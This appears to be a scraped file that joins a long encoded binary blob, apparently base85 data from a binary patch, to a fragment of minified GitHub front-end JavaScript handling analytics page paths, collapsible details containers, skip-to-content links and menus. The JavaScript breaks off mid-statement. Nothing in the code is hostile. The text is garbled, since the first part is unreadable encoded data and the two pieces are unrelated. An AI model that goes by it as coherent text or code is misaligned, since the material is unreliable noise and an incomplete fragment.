zHA7f&#Afb|2YKv;u*kP;VpBzyhZ!9;G@?QANo0$Z$b~)nE$<{!1ET`=()&b`^qada zdvW;Se-N~79W@5%Iwcb;LR~nKpVrZcIy`$I1IkT0_^?tB?uH1myK7l+tU}M*sy-M& zR@syV)}o2r2siWDqb!*8R&k*Hz#K^(wbo_A%4bv{lgaw9e2D^@P7XXrxOTz-%N8r| zXzTeOtHF6$a$X_Q@^mXr?ud&U3?1t}RAhjyfg-PS)#(u206RLbF2wL#J}5IKcCo2B}1cXQdZ z^keJJsgew^uPnIIgmtUK&*|6vUK6sdBRi$V1IN348@C?@GQeAW{vS-1)cCH=p$+i* zOW_+})vrPuU{A5M9VgWmi6h3kHG$@TC4x2`QW~d-A5v-4+uE?(%70TEvaK_FC3yg4 zkir1vfmVPE_#*`iX?gpVOn5j;9#CPqTn6>W!=JY`M>2wvU-XEaf~2%SSgjIM;9SrZ zzyWI!(r>;z@W}ng7c~J5`Ch4H{is$TJfJa<0c?nfE4c^W(Zf?;Q}Ss2 z#FrId&enpjNkVm}Arm&O)xuXEQ}DLFwOlEJpJY%CK^(9IGJqQ)c7LN2jhSK!xW)_+ zbPCjGP|`3e;ky!Q3Wy+Bt0PN|N_a17Lk7X~q6jit4d6bj6x-sneg+T+ot?+=#HS&1 zG=h%jMGSb?-vD`REl-8_&xY=+hEa+3y|aY@-UxKu{S#ga+mQsm%Z8Yt>!Jaww(DRm zZg_sMLIsN+zMVZP6*72ykpfmet%8Er7eL+n`e^n|Wj>Ia#;MR99Aq-a4dUV4qwWYbMot7Qc2Rsxi3W|Ko{8E z1RweXubY_@z--IeG+_bbdhZM;|uRy~6!}5zcLp zM9P)vg^oR`;69=m5L|~fkd+>o^izxFVEmm5YPPEB*+D_a-{6ap8LW9u4*%Om-wh2Me@hbNPeC~w#|9$ST($^b^wA}Q_OfK?ESHTaw3YUy zy7p}RK?1awrVeSavlhe) z;y%Qm`Nhas3!Sb~wkW)z#gqijt!aZt9F5+xDUtUrikyh0Y!F4M}Q=1Sznb=!-k zV0@StyC7Gb4EDmwf;hp2$mR2Ws02MB1C`i=00HZUc=U<~Fe*oG3<|i8qN#it?$?Kx zmbe=m*nBoz#Fo#r=!QmA&W->9N=PVHI80M1a8k5JQYjcaQlMk&d;)!@@Az-6<{31l z@SREIRd8op>^hz8V_zw3Sc=$3y;fY6}+JEgPGdpcobXqtRee)K*y2(u!Qly0^KXnR9)gpF7i&J?x&HlgWzfo{>-T z;OKQeL+ zPjZqloFoqI;u3*hD@}}-O6$hXaDlsZCO3c3_VU#zO+H+i7#}Z=j*ctxr+c3yU2_6N z%+|P6jBOZV!-(S8Sf;Ai8e`v*Rx688V3Lfk_1siRn6?a{rGkV1YD9>arXNlUpp00MZEfP zV=a|4H&R`{0kIYjE^oHtxKyTk<_5}dKLg)vf%+|Lssj6;U^4>g_yl4s7)x3m1=Juy zR4juSjEhJ{$57R`ttkPKGA7p5m&1!$Ug81->9{a#VGPSlgrHCYL{yPABfu-;E{uDn z76CD+NN!w^BL@;z8gs4;{Z#JkM4h)!1 zt7(>GBqQS(XKBvO;M=VX&$(;nUSM*k)T44G&el!Ph1UEWhbO`-Nac);VuFA!%)auU z;i|HY%tc<#JRrN6Ol%c zBu$PXES3PVYeIl^oNZj_S6@Id)`4hz@Cy`&zXHl87lkn^B0@iibqyDD*3b(uV$L^V z6s;gfSOFVG;$hS9Pk=R>Z4h!iL|G9RMyU$#7wPNPz%t92~e$C zw}Jrau6|ga8kO^gTEL+)8^qc=A}a|{P@x}87y$n5LoL86oBFoEz7ZI(6{;qak5d}n z3W#}65GMszLI+E*QPe=VbZ7;L@IjZR_C)VQf+Q=7H6IvC0n?9AA=iyAP8fs^&=91V z9OnH)DIkxy+{ST3j5*=k(It7_>s#mkgwdfBAjbYgSS$|czxIv;IuxX7yB%`H&(NWlgnp#8zSOQkEr`{mUyLJ86Y&Gm|* zdL(8Hm$@kNXbvhMyHA(}tOX;%^e)b6TQ(nMSi;GQYnu3o}0pytQ zy|G6C6ubwKl`G&J-uv_QVFI~<_9-hs6`A?6xj9O@{a5K#pclSZgCjqBpesv{ZUBIY z;zHM+Dz>i!{`mh~z(w1iO-I(HzhsSUwA$YOmp5K8y?-YYGrMJ{Sh*z564&kjN)_m( zLwi+`BNF<~&&q}3+~n+iQ&0GFs={x`)wDkN(DUEl@^Yi*JpH#fo%d&m=>MvKAH4sY zZ;4HQGkJbJzCEHIup(1m<^@zf6DM&TXR(8Brx{d%?rT*!x&i>wcfK`3WvrAf&My4Q zbgT0-lRNbnwoU7&@%hCHAN|n>o_jHW;Q9OK4>kVqpSS)rP~x64a<_dk5%tXKX=0xr4d>+dtjCw-^=V`7bws02wF zTm%B5Z4TB>cZZ@2iY5C(ca%;4r>QGcKmh3q7KL1#G@&&xrGUBJlYQlp~gc)C*zk;8y z?4V%hyFqk?UuZ{FpqI=00q6G%_f@Dn!tzh!2Zs zYXPaxoYq%?yfA?g;Y2XmDD~+@9-8?Sw~c8vV@*6;J>=xw24aK@1OS&J_!b{@f&%*qFf; zcx?7&_I2Khl*T~}s;AJsfFu=Y)p&67b~cRf;WYPJue)7x548rh+_Ru?*XTESVCrlN ztqylK7xenjV$xVsBlPjL=H)z9yBdj05GJUeYWD&nn9^y?Pq+E(^zZXKW7`O&c~tnh zI*VTU)zNS9CE1P#0Oo*?@B0$B3EVxm$o1unROqoUU(b%IJ5d*7itEVrRDC3718ix6 zms^{-XXbNg@AAu^yjN};+sdQ8@I6kumW7e6+@zkT>rIZBThKC}nYw@ZXb%epIkle& zN|a#=qdePqH(#9p6ae)W9iQ`^(QomSz9?B~wf#VXjjZT&Q=AGqex7jE3SU}x!ibNc~3 z)deW|^moxt1DjNKlfC2OogW(iHYdpLZR?-5$;kP}#s8>{dHn1?-dNt`P5v9|9dD3Y S39%yp0000}sP)qc!vaE-#a zFNiFP0*DCCadAAEHBU z)H#iUW;{0H@%}ST%br`}DwXO@wNe?L`@uMt;aq12C`D-hOHls^@B-vGIXr&?jXNd(a=ofo)C2?5($9Lnf2Td&(6*sjHI_9`8&C}xp48~MQCbj zf|hx+iBz9Jf{_5!FP;nX8jWU(QmJf1@=#u04tl*Fu3Wjoa5-X6p9P?vzX#Kub$YFZs^SPU!0DVz_qg8no@-*CzoAPyn1Fa|KKO^y$+hv$C=pQ2?l_s)FX` zX1IL$GPJk16JbXD=FOV~cHV*4TjtMsBJ$0M92ZAWIXUhXB>B|T)IVfqX6mu&5qYvb z)x3cK*RNlP?(S{^owIB0S}o`&yFFHb+TIyp^gO|l$E?4SmX=nH0YoHC5fu4dyLJssN=j0q08m(1 z2o)6-aOu(|sIIPty1F`OY;1&jbi$sPIPhC0gV|p!g(b2eIIc*i%oBNX2y+U1R+9%! zGd+#SH{759u?IM;5|jYPk00N0;=~D{dA_WyjO@?qU#HVi8Q`%R{JseUSI>DcafTO6 zoVoD+(Q__@Y~Dth=gE^}m~*O8z`Bj=K|jv9SAdHsfZD~OM>B5RTY@2f^ytx9hBJJtjawK>_aqTJjPBJTC*+>2rvz zNl-b=`aFPaPbEW{=gHF;M4pX_(<@-9>8alcLV$w@4{k(2Mn(q94sCE~xl2v({Q2_+ zB21dS5XlmZ1#m?N_uT9Q2!v?)4MbV zb5(M3G8{Q_q?ugzOo)qCq)o7sDbgj9zzAR`f|F;XU#YBh7hd}5abA643nUH^b9>q@6f-2GYnf%7{twVcU1Z+{ItRC*F%;*~(zZ$jl-)kPy5hcri?Z z?$I;!EbS-aT}7Z*oJLIEtf|7*zO zEwMZfkO(h@C}Dr>LBI`5RnS1u+0#qeTuJIB{BFY+f`ko;!y)I%`aM4mc*LPSJ_Sg_=g_@pV`OKPWh`@@!cCH!^%MU_*r_vJcCZrFYJMK>0sL!1?hbm&=Odr5COm9hBsmjBz?#qF$umdLHN3Y(807P;9cv0iJ$GvcfL=BX>c6n> z6`_(ua3c}$`1iM=Y2#4X81Ny?@%3$-;doRWV>uvo_=8em1jUAOTHrx z%^E5U0SZJ3SE~lWtt<(&%Iu-(YkR0)gd!|_Ai{-7_HZNA20Atl0$rdu2RQCYYnNPb z9KSR%@&iK(sP+N>-Yy984P}xcT8-%TFZzCPJ@O5>5^T>zX#QUjW{rT3;33ex+XA$! z#T_-@S-;8kA;f{Hp=5coJ_#{cnyPLPJ;ht?8$s;uC~j^WT5h9ay- z5mwtnN7(CdC(#;iBn$-IHgR`dxcFo4SA>mJ;YI=smML0nmS>IPgcNB1^S7G@z}<2Y z+>U<}ZXbIU?xYQdo;(Zq=^Qpi6hIpxuBqE*`yTfzW60V&{=H>Z538f zudxMfw)mDVLv*S(RlKk+lC$Do?(m0000ix7y#hKYTT++)VcRo-)?Yscj$0yaHpkj=!c4mCNAfGarfk8sBqWie;4=U2D;ms zFFD;`=TP=!PxfTbOizgO<$lR_1|_`~Q2bFy@w>s*;;c_`;asOnmAGWM3VT)}ISk@wdW@_3Wtdd5Khq0$#$y99q01L%-U z$3X%f$3YKhgXgu9YiNL-*q@*h1yxe!0F;U9HEUKu;T7q|!o78%tv^;ABtWmlbUXa7 zhyOuAwUbj_!P%DzMxHs>ITipknMvLR)I3_o@SAc@bQH96tb0LR5S@gesR<-N<4_~s zMwB=J&`g9RKjl;6BQz22Vmb*Xj3-DsuO5bVD>Ze9VqMCJE~Dg?i#Rp|G?5A4D53aK z5y8LRa9JZZbSE)%7hG-!iF0BHwS!Np2Sn0qDt<+zxCqd6_$+$EulVn%;`W3mjgb_v z4gC%1W~T0h96KP_2H=F;iz)t5M$Gd7jc42!3mlFcMcDk~#injD9l8xW>`U#-A;_>T z5OxxiOMuG$Cd5`-`v96uIFFsMi?5P=vZ;@nK1mOztH1bm7+5Rh-Du`&7cq4qHhz~F zxu*ddZOjV=l&&qn#t)}y=td(~x4(17+)TL4Yy--78iA=39_^(m|v0cc!nrR7)R za}kD9(cuoh@QGvwd!w_USJ|-`0BlU`tB^ zjEw?f{tyKB?rll`ID`$$Nt~TbW4s7WaH}AHD+mtENtl4_UOe*3r`{JBo0G466Tk=srl+OlH6<(< zf$)VW@s4t9>ob8NMnNf!zg|N2XTpGsxrv)=TLGMHY(m4+VFj(gj8DA$g#`{p zUYdAsXi)NaeNX1q_iYkiTl$MgBojIZO_QL=Dv0Bc0Yi)eJTcOXKA8!cxtN=UM#|TerEFj}!FMYv(Q3+QsSm*uU zh(t@cRr0p@bM?jBrB5wPEVLD}-UtRn(JU|o50wGf5kARq9xqPx~9E)-V*QhJ&<@NcCt{&`k@gC|9edZ@ceIw zGsD$IT&z~eVFI$CYH*AoG{Q1N{1GBYUi1R+d{qo#EYWVpRq_(AvwltSvsLj->;$w8 zAhAgH|A8Tf4?lhU?D_kXSiBD?Fe!(N2n#P-&WWZIn0cwGphwvm9(S)fwCM?!5;k09fT0>^2GHjOc zj%@|PYyPhFD)qI5YuY!+yu_0}XlzFd07Hxdw8Fpos|FC3i*3TJWrB`KwS>nAkZMrM z3>mU&3g5b(?Zs9*XfRf)K_;jg z{6@HDs5*#@kx+@1V8R}^Gj8{~Q}Xt-_lp-L4#6-S1cn#|T~YK)poOjpIvsRGy4Bz{ zLS~TDHZ;XSVkNjnG)Wxc%6g=%Hx@q%I-s#Dj=v5J;X{Qm{4@vQh-c#jkO@{bc#KeM z*k)LUc#Ltx`bCqtMz~w@74cQ!6Vl*t6o042&LDU{FvKV*20_Xv4?v)2vwtp-&@qBk zjgT2+#WqExiYZh?j%b3{lxUxDE9*?wcpZi-C&2BUg~H>2Aw~hglb3ol2Z*BkRf8(!;+9-iFUH>7w*rxxBugK0vMs7LKJ@J-QkcqP_-K;$*Tt_rs@Z03D9Yi2drEYTYfZlC|m z{&hWVZI1*-C=jfKZk`5XjZ4bg8m<|(A!62#o|j<1=yeJw#{nxF75)=oY!nC%!{=l1 z9fO`K$ZrNIIEKg+((J=p2dw>kz5Js6+2>8SuTXdjFg6NoXhb{Ek+^9lJf`@VAe$HL z>wTX6-v!1+K@H{SJm>Ma8D66kVZSm4%2CAZ|8w*uFL@9!E`0D(jN>oRxr4eF>_hnO zmKus-_#t3?@WD%F%-zujeGR@MF!fO2g+qhyoy#y`Y(JHLp`c68zjW-? zLqT1-g5V=8qk(-i5BeaU_nA_XyaAZCP_QOEKWW0DeJ~G(D}B$>{|YdTP_QPP2XOQl z;_T=io(G2^o_!BWz~n(eLof#(gQM}!UAiCay`jgflcirg<}nWdCJzeoKqH#)ANXI9 zC&L~R&x9~BDE+@-@I4WjyeP;`SCYK6BaUw<(S$uBzE}}|6)H3aW<4la7o{M0C-2r} zy=mGl@c`9G@z)j8^p(J@7X|BuGvV#1gq!idGGWKhdM1F?sN-%UDA*9Hgq|HXVHA`r znZL0+irxgwMp3X~WJ322nJ@xMRq=l)6y5^NW>Byx(1#y{3AeH&N4I(4Nql=#(_4Yr zEDAP@Ot^WwPKV>wY0r5CrJRzR-#}_=}FUPAzOd!*yJ0i1J%1d3_aTu1WyKLt5LA! z@Y@&O%k{&H^@`_*vh5Y|qquiG6qxNm!FIsU6Yk%cBt;78hoG^X7aYEy=bo-G{4IaI z0?c-yV7sXN_#zCy3PHD*^-i+EG1q~$+yl&ZqhPzyCrdYSI3AG+o?*vh4ko+@n4Lhu zj!;h1mq6g(JM=BI^XV000a7NklI7B2RrfT>8HN#(z@-M&J>6aPopZjkR8_0DZrvjP zo(&NJfbMUP``FvA4FCus`ze6e;|p&4DZsAnpJAdGD!~4l$Ww>9zdd#ckuhf5cB|FO zinh1mys`F207P^gr`2jT&1TbVnx<(o%ObV~jtvfK;3~`p*9ONzr{%O9a7mUbx=LoP zPmX_>$z=9C^xg$vjNQ0>V>Y*9_n<`_28^hn=&CZPDY^;@1+F3pRVB^=Afu9uCa!=0 z>u2MSZhUb1;)@nwX=Q1A=4vx*Ij0MXrer`5AO_G#8kgd~At6+y3rFiy<)^0(jdhD* zk9ojxoU8Y)Ut0Y}8#5fjsHP+%3rGN^6ZB6}zC#GndyMPKqpe!4TO@nQ1B*+Gf4=|u z@^CdjR3L;{z;+xVzz+f72srW>!VtxwAM3rmbc3-Sd)uaUDu8X<<9ENkTKir(lBEjQ zy6d>4sD^k#fY|moP`&`|5_CCe!i0pBfC7Y(+8DVrf4?i}UKs620L!xec=b;kgY`^a zM;p=M%4;sywL^Iy9Yi=|%wfdSF$e7lNd;&M{>a|LK-7%(pj2L7Tj^YYE-3W<<6DI@ zC6Wd1^Be)k)G{pqijDv$^y*Q9cyNW9xdp(78^ojtHwx$&$Zw1kuhecij?=je9SPvN z?&GZ~MOBD55=H)!LY$niz5@I&S1Q+u578q=0<@1@qL%E^AZ&FqcjMWeeHP&6qg#Vx zL&#~)Nr3(tVqWn{k5XU>9T!o8EQ5|jkwTN-0O;(T5 zRES`kQZuf8OnSRaCPF!plw*Z&mTz`gy6z+ZB2H~h>p49b5XEr(iWwAq2P9Dx4bIwh zOGrEu_;3Lw4#rHka;WumdG;R_U}Acb4M4tVsmT1etF<-!>H)BAg zOg{UaHc_kBcYwEx4*B6kunDh zmnzqHNYA_Y!0humb^tISd7yrNWp0}4pdP|NjA3h21c{yub25+=B6%Hn8BcWEI8J|< z-6cJ5E5PmY-C|!c&`b=bqan{t?O2nSG4*4++GT6V6aqxbBVgnH>X&ol%gf7M3$U`f z((JW_s(32(jS%Dji>KKb>}0rQgR&{^-H~y;YlhWpWxIs^|8w}SPcElMq@8@= z+SBj)hWaG`!f>SKYMp2_9%N7^y&P6kY=V*qNP@alk^#|eI+d?y;Z#oR(+QH*Bh9Iq zsdkXt`oQ|e`g(3lhKLc3aAsz1aqaoa-`4@BDa&?EI)kaoYSdmRa|v9YnNtN}!&VyM;Xv&w33 zjq0i}A5o9xtTS|R^ZCNxCL52dQkj5~zT*PLT^OVP`APlZ>egyi|F1s(S+BNLxeMxf zV|?>wqEJouftxdT4jerY;RxWHHFI`rK^@i;&nrV&_q?_QE6@M(sPV8u92RLb1S<#7 zcsdKC&&G{KGh=1PiUD7R`l$fn)fZ>-<3D^W51rxz&1Q4nD#z#Eyfenw^pk1jbUtZ6 zZ!jQANn@|+OUi2btH)b+m(gKDhcahm$T1IRw!1z)&qirx#2`VXiw>{YgE9EIreyBW z$y(dgIVQmR#(H6(Ck&UN`#yUxXPs1&ksp&CD7~6{CbOEW&VTV}mg z+=jjO^}KSvzynVBkc&hKi^t%vN{kbwD-)3sQYh40?6pjbSV80z|E)c%R0bPVSK1ZN z51HgGZgizrBd_Xf{adq_A63VnVat^RXhb0(cEzmTC}&|r%(>=*dO#;~K!vsy9>&o_M$FEHRJ2Eh3;M><=JeMO zDp%&*YAZpZ=Jfi;)RO*2Kd8|ph&bG9QOYOLxFV?ZoE-S#;pJ^91OPdz^E9pzVsoLN zJe^if7$8G#t0DLt-$BSqvq$hp1&t~fjLj3)%x6-K9^b36<86@7z z(aJB3!ek1Rlm{vcKQ4x&Cs*bSC1)Yy?yr)$yEFDlm5Mo-XY}@lwwShO+U`N1Ji_P4 z>bd-u>#RSRD7u9V)!=X@JK7`G)(D`G$t9ldg90yEA$mUmA-R#B%2MUv$Y}b?Tt1Wc zM6Q%q)<#T972X$Mu)Y~b-$GCT+T1%PMraKM)YC@&jN4F5ZOFjDP(t@&p+HX1A@*1u z!+(c)>-@==wk;)en&rUi=A8MXI+zvy5G{H}YGH)51Z_H5myyIE6i5a*RUD3+bA!hm zKnPtVOhSkfdAw8CcHhXIr!*QhIlk&BE@M+qo~kDdJ~RcQ3Z6ucM2N$OC)qA{DC58_St-CdvRbm6vKwB+QoJ7*4SBUA&i@)BQ zu2`P&sUh>6g?zziAtdmYR=M`p;a4M6sXkyB#xI6HFe{Cu@&LH56aWe!Zv}K|gs8sq zChU~0!G@nnFGbuj!-s|saL-SgaXRZ9fJx~Dj;JbAgM2J{_nAO z5?$@Gta9r3sf+fjcHK(8rg;%5+yw)F_ihJgK*>`W&wV~bmY&`HcfvA)kfXJsQg12s zxt;RRhwuKZe=?i2CXFkHgv&hJZ0sd)`2u*3NfLg9$$2S<->7W8J^b2s9quH6q9~ue z^@%yT8UGm|1AaE}CgcFI;xP$1e(8#293bTh7^Uh{rcQ7&TOY@g3lGv`6;o`yVU!?O6Wu)-B|u z6CB=r#M@j-2~w^fM#H60BCmI0Y}(YSnQ!)7*bY?}yOh~%_Sfe=YRqoRt8u~;NECsh z1Hx|$!kRf6m5ErK$W$pAjsL7K(6h(SY=^45jqVdij{hINWo?=QB>G$N+*Uw+N*s1^jw?7ztT0~i^o)OZZlPF8XjUXt*k=i0}c^k5h zfAC3yjn-z%EN_+OvM-ID+Z9z8AA116XYc*$H{bs@d%iaW#f`vta+M$S4EV1{55iHZSG&j*6!s}Q0Ap#geM5oR}A_G+`&$sfoL463C8wKO_3S}K*g{hn)& zA3VKs_T`6PPE7VKsTl=rCJH33NCvLmvRT7n4Hp}(Vp9Wje$ZS&%@;C;PO}Ehl}g3_ zeE;ClL0wO-Qtqw69=;oO9OrkJes6)3&*lu8GeFO)Mz2xq$@dfrg?v7r%jHtl+4(nV zowvOR@GsJS`tWs|9(QOzeK(rYUZ?>3+q$TQy6W+Twf_(w_WFitm^m@H+uiF#01O2p~E{zrcF|gIJo;KEPL)yZz$#ziK*mtlmn8dWE8M-#c z88Sc+NA}&u?eWpV+k%Pc$=1rst3TS)IyX~@0D$TM4Uy~K7xxbVAs`=3|FpOGsrX3K zwBeSAt#R$B_T97ZH_Tn3lV+ViL0JI zB8un;$PiFn+bq_mti7qRi6P*@ipz)PHSL9#)0K$6v`LU4HI9D-c{~@Xf*yLHrS*q= zwP*L<7`#$jO=r_e5>xw@@?71>)OvzzUyazY0C@3sLqLEa&+`Y3$COx{;oz!OtEU>C zIYQ_(yF8!v><4C|5R*^!&idax7b>OB^ZMo+fR_)RW=0Hht*cB8pb<7M)H@sCf`Jmv z7<-i4XtrB_3EXHkD_Yf;>w4~>q=Z%q_4zD{fX4z3Bl^$w;=q6>!B5I7Mn3CN2}ty% zFv5F$19U9ZF{wT^@WdT7FN%fr#Z$nYZfBRuL0pxUuGQh=u?3E~PC@jOet=3fPccb( zw7B<+zHBwDVc@0RzZP;8Z3d;5^BAq+^PsSWtVt-VtqH%qWip0rRqp ztP9=MowWgA)EEVuYI}3XnPMRof`SDcogyBZwe8>58c!?K_a>0XCZgtY#mPx+Eahnh z27yh|GWc09xtybuG<=&@y4hVOv>WCVXQ(85Dw6(BmJt>ndfJi#x zXt4~Jbe7cut>H5GYhYhu3mblFMcpaOj3#gQtnQYmFhf^&$9qy=8B+ZRf^rQ=Q@jpM zYpI^s@=Rl?nVj#gBwz?pg$dS6!)VOKfl!@vM=Z|;-a4iB$W z5cxpb0O^Q9l|TrSCwyR#Rr}7wTw=-qFz5XK<>R(j`;yUre~7Tr#)^I1!?Akr72kawapIfAhu1#1yjSq6 zmnZtQ!lm%OHwcNAOez4<5jVuNnKcK*^&~JN-k-hq)w8cfi6KI~hA6`#E*4ON*I-25 zHoE!+y-?8d=V0`rF<$)d;Frf?FKwo2eo^@No94INOeswc2`NR#ksYB4%%Wj3BbPD_ zmLB2RVtu@rI$tW4(&^-K4ipgUi||77=7r2gQm7@ zSdJxCifrpHQ>H|UH;LNY>?vmUHcL?wWvOX~#FAWc=lte>&dfPGROjdC;fK`d{~MsU zT@DBlujM!Aw95ezLayaE=QQ;y7YBMcj$_%DZQC9)k1&^b4s&gEUE+Dn`=tDluIv93 zAVggFZgIbK?Nb!DSm1sCHPJt30dg z9hfu&V+2)7G@V4|1qbq@pa*`65K^19SKqGPnfzctLl?&oW9-@M=U=xUvnj$9=?fyB z!nhR1@dpesn_MHc`wYU9s?Jee_-Gry~|3Tuh{pd>Lbfrx2ZK z_36RFy8u=8D_zsZ$TkAlO-q?DqMrMNXDARrACZCw;lAFQXznyBmj+s_F6Yc#AdiS) zbeKmC6(j|E45v;;#7JaBuApLQbIOWkTbBT;9oE~q<2ZVPSC{x8;b1HVrr}WLja3V^ z3l3yF^QiUWtW}^7&{B0dKb#MQiJri+L?)11k1BG21@VXR_rbx(U0PdOTOJ6gbJVHQ zS|D#MkJGlvkk-dp31F`-lDhHRV2Q%+M&qP={Eh#uZQBOX{%R}*C0(n|{O?Kkp zsW44BEbYfQ`Vo_f-~+aosx3eTe#b*SHxv8OtTaV5J@;qBJ{-9ClmXT|A(9H9^5t;XzdD-&X5|=FXFs%@=zdD{!O~ zLdUE16Z=@7$%o!$$PI@1NLW(vVDxBhcfAkLP{wqLi=GG_*ITP?(+NF=64NjQ4~Q=6 zMvdYvtx-POe6rGbUcs&xXoWtupTG5rzB+D%kc^iM5=_{$KAe4cFz5SzFVJvt*y>oI z0eY~px#iDjr%^bKr~rr-of5Bv5^^ik96#P%TCF|ZcK5rjXBC*uC7Lyi$Igr#h8A zg*^)fCeg~8?(F1Da5^dS2_Xi}bXvz1wXT>tI!Lr2M`O5by9gSAvu+=v`kD`-q!NX2 z4hZ!_ep4XVBGDBB^Det-7)Gx`{DTGS^&MK~p+j_nu1MHGxcfZ>{cM^v7Qv`*3J@*$ znBCpH}`(6YdkcY&f46*Z^ruAU_ zzI=5GD3{CqW$F*kp_R-pAv=b*5(5$?>qAd*i6lV`DBrgxht1-dKmhRJ><6E9?)c1) zd*vc|5T}Uqq)M%vQVPMixB|H>aXQw6(!HKO`V?qieDeF^rj{Bp((>uSod+=TuHe5GA zCL1IWO=i+tv4v|xa_=F17346_@jf$u-q-GVx6*(9_{+>jOcX?Sk`#rH#4T)~T8fB- zDGZ{yCS8R9W=;QK>ei)!GMUU*vww8aA>jl-AKWzk|=%edF#~ zTUZxt$IRZC`IYxEb0cr5B8{BU;(Z2Q&3huJvSe$d4rQaxRxUe|wJ% zvT=UcX#8#c?_^r%E2Icj#+YY&XfZrty07Jkk*C>$md`5L9L)^-X1OqWqdaAr=4Cf! z2ijvSjf{L%{$geKWnRtYsF7E4#oSO~q);dn48!O#$*bEd>{var x=Object.defineProperty;var t=(R,L)=>x(R,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],{47930:(R,L,r)=>{r.d(L,{S:()=>y});function d(p){const o=document.querySelectorAll(p);if(o.length>0)return o[o.length-1]}t(d,"queryLast");function A(){const p=d("meta[name=analytics-location]");return p?p.content:window.location.pathname}t(A,"pagePathname");function _(){const p=d("meta[name=analytics-location-query-strip]");let o="";p||(o=window.location.search);const a=d("meta[name=analytics-location-params]");a&&(o+=(o?"&":"?")+a.content);for(const i of document.querySelectorAll("meta[name=analytics-param-rename]")){const m=i.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${m[0]}($|=)`,"g"),`$1${m[1]}$2`)}return o}t(_,"pageQuery");function y(){return`${window.location.protocol}//${window.location.host}${A()+_()}`}t(y,"requestUri")},10178:(R,L,r)=>{r.d(L,{O4:()=>C,jo:()=>T,Qp:()=>S});var d=r(33948),A=r(59753);const _="ontransitionend"in window;function y(n,l){if(!_){l();return}const g=Array.from(n.querySelectorAll(".js-transitionable"));n.classList.contains("js-transitionable")&&g.push(n);for(const f of g){const w=p(f);f instanceof HTMLElement&&(f.addEventListener("transitionend",()=>{f.style.display="",f.style.visibility="",w&&o(f,function(){f.style.height=""})},{once:!0}),f.style.boxSizing="content-box",f.style.display="block",f.style.visibility="visible",w&&o(f,function(){f.style.height=getComputedStyle(f).height}),f.offsetHeight)}l();for(const f of g)if(f instanceof HTMLElement&&p(f)){const w=getComputedStyle(f).height;f.style.boxSizing="",w==="0px"?f.style.height=`${f.scrollHeight}px`:f.style.height="0px"}}t(y,"performTransition");function p(n){return getComputedStyle(n).transitionProperty==="height"}t(p,"isTransitioningHeight");function o(n,l){n.style.transition="none",l(),n.offsetHeight,n.style.transition=""}t(o,"withoutTransition");var a=r(96776);function i(n,l){l.find(g=>{const f=n.querySelectorAll(g),w=f[f.length-1];if(w&&document.activeElement!==w)return w.focus(),!0})}t(i,"findAndFocusByQuerySelector");function m(n){i(n,[".js-focus-on-dismiss","input[autofocus], textarea[autofocus]"])}t(m,"restoreAutofocus");function c(n){!n.classList.contains("tooltipped")||(n.classList.remove("tooltipped"),n.addEventListener("mouseleave",()=>{n.classList.add("tooltipped"),n.blur()},{once:!0}))}t(c,"hideTooltip");function E(n){return[...document.querySelectorAll(".js-details-container")].filter(l=>l.getAttribute("data-details-container-group")===n)}t(E,"groupMembers");function h(n){return[...n.querySelectorAll(".js-details-target")].filter(l=>l.closest(".js-details-container")===n)}t(h,"containerTargets");function v(n,l){const g=n.getAttribute("data-details-container-group");return g?((0,a.uQ)(n,()=>{for(const f of E(g))f!==n&&s(f,l)}),g):null}t(v,"toggleGroup");function s(n,l){n.classList.toggle("open",l),n.classList.toggle("Details--on",l);for(const g of h(n))g.setAttribute("aria-expanded",l.toString())}t(s,"updateOpenState");function S(n,l){var g,f;const w=n.getAttribute("data-details-container")||".js-details-container",M=n.closest(w),D=(g=l==null?void 0:l.force)!=null?g:!M.classList.contains("open"),I=(f=l==null?void 0:l.withGroup)!=null?f:!1;y(M,()=>{s(M,D);const e=I?v(M,D):null;Promise.resolve().then(()=>{m(M),c(n),M.dispatchEvent(new CustomEvent("details:toggled",{bubbles:!0,cancelable:!1,detail:{open:D}})),e&&M.dispatchEvent(new CustomEvent("details:toggled-group",{bubbles:!0,cancelable:!1,detail:{open:D,group:e}}))})})}t(S,"toggleDetailsTarget");function T(n){const l=n.getAttribute("data-details-container")||".js-details-container",f=n.closest(l).classList;return f.contains("Details--on")||f.contains("open")}t(T,"isDetailsTargetExpanded");function O(n){const l=n.altKey,g=n.currentTarget;S(g,{withGroup:l}),n.preventDefault()}t(O,"handleDetailsTargetClick"),(0,A.on)("click",".js-details-target",O),(0,d.Z)(function({target:n}){n&&C(n)});function C(n){let l=!1,g=n.parentElement;for(;g;)g.classList.contains("Details-content--shown")&&(l=!0),g.classList.contains("js-details-container")&&(g.classList.toggle("open",!l),g.classList.toggle("Details--on",!l),l=!1),g=g.parentElement}t(C,"ensureExpanded")},30479:(R,L,r)=>{r.d(L,{h:()=>A});var d=r(59753);(0,d.on)("click",".js-skip-to-content",function(i){const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;c instanceof HTMLElement&&(c.setAttribute("tabindex","-1"),c.setAttribute("data-skipped-to-content","1"),c.focus())}i.preventDefault()});function A(){let i=!1;const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;if(c instanceof HTMLElement)return i=c.getAttribute("data-skipped-to-content")==="1",i&&c.removeAttribute("data-skipped-to-content"),i}}t(A,"hasSkippedToContent");const _="ontouchstart"in document;function y(){return window.innerWidth>1012}t(y,"compatibleDesktop");for(const i of document.querySelectorAll(".HeaderMenu-details"))i.addEventListener("toggle",o),_||(i.addEventListener("mouseover",a),i.addEventListener("mouseleave",a));let p=!1;function o(i){if(!p){p=!0;for(const m of document.querySelectorAll(".HeaderMenu-details"))m!==i.currentTarget&&m.removeAttribute("open");setTimeout(()=>p=!1)}}t(o,"onMenuToggle");function a(i){const{currentTarget:m}=i;!(m instanceof HTMLElement)||!y()||(i.type==="mouseover"&&i instanceof MouseEvent?i.target instanceof Node&&i.relatedTarget instanceof Node&&m.contains(i.target)&&!m.contains(i.relatedTarget)&&m.setAttribute("open",""):m.removeAttribute("open"))}t(a,"onMenuHover")},55444:(R,L,r)=>{r.d(L,{$:()=>i,G:()=>a});var d=r(6741),A=r(64463),_=r(59753);(0,A.N7)("include-fragment, poll-include-fragment",{subscribe:c=>(0,d.qC)((0,d.RB)(c,"error",o),(0,d.RB)(c,"loadstart",p))}),(0,_.on)("click","include-fragment button[data-retry-button]",({currentTarget:c})=>{const 